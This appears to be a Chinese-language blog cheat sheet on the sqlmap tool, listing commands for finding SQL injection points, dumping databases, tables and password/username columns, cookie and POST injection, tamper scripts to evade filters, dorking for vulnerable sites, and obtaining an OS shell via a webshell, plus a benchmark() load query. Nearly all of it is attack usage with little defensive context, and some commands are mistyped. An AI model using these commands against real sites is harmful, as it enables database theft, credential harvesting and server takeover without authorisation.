Sqlmap的使用
1. MySQL数据库注入
- 检查注入点(主要看是否能返回消息):
sqlmap.py -u url
- 爆所有库:
sqlmap.py -u url -dbs
- 爆当前库:
sqlmap.py -u url --current-db
- 判断是否是access数据库:
url and exists(select id from MSysAccessObjects)
其他数据库判断语句:
Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>
- access数据库没有库的概念,直接爆表
sqlmap.py -u "url" --tables
- 爆列,爆字段,可以在日志里找到
- 检查是否是注入点
- 爆库:
sqlmap.py -u url --dbms mysql 5.0 --current-db
- 爆表:
sqlmap.py -u url --dbms mysql 5.0 -D cms --tables
- 爆列:
sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_user --columns
- 爆字段:
sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_users -C password ,username --dump
- 测试注入点:
sqlmap.py -u url -p id
- sqlmap注入方式technique
sqlmap.py -u url --technique T
B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)
- 猜数据库
sqlmap.py -u url --technique T -time-sec 9 --current-db
- 其他参数:
--delay
,--safe-freq
【Sqlmap的使用】伪静态:主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。
- 加星花:
sqlmap.py -u "url*.html" --dbs
- 利用sqlmap注入:
sqlmap.py -u "url*.html" --current-db --hex
- 爆表:
sqlmap.py -u "url*.html" -D "cms" --tables –hex
- burpsuite获得cookie
- sqlmap的cookie注入攻击:
sqlmap.py -u url --cookie “uname=admin" --level 2
- 爆库,爆表,爆列,爆字段
- burpsuite抓包右键保存到\Python2\sqlmap中
- 测试能否注入
sqlmap.py -r 1.txt -p user
(-r:让sqlmap加载post请求,-p:指定注入用的参数) - 爆库
sqlmap.py -r 1.txt --current-db
- 自动搜索表单:
sqlmap.py -u url --form
- 指定一个参数:
sqlmap.py -u url --data "name=1&pass=1"
- 测试注入点:
sqlmap.py -u url -p id
- 利用SQLmap写webshell:
sqlmap.py -u url --os-shell
输入脚本语言,输入网站绝对路径
- 利用tamper脚本绕过过滤:
sqlmap.py -u url --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
- 尝试注入 and 1=1被拦截
- 利用%0a尝试绕过,发现可以
- 编写tamper模板,利用sqlmap跑库(c:\python27\sqlmap\tamper)
- 利用sqlmap跑库
sqlmap.py -u "url" --dbs --batch --tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py
- 查找页面:
sqlmap.py -g inurl:php?id=
- 获得shell:
sqlmap.py -u url --sql-shell
- 进行攻击:
select benchmark(9999999999,0*70726f63409284209)
推荐阅读
- 热闹中的孤独
- JAVA(抽象类与接口的区别&重载与重写&内存泄漏)
- 放屁有这三个特征的,请注意啦!这说明你的身体毒素太多
- 一个人的旅行,三亚
- 布丽吉特,人生绝对的赢家
- 慢慢的美丽
- 尽力
- 一个小故事,我的思考。
- 家乡的那条小河
- 《真与假的困惑》???|《真与假的困惑》??? ——致良知是一种伟大的力量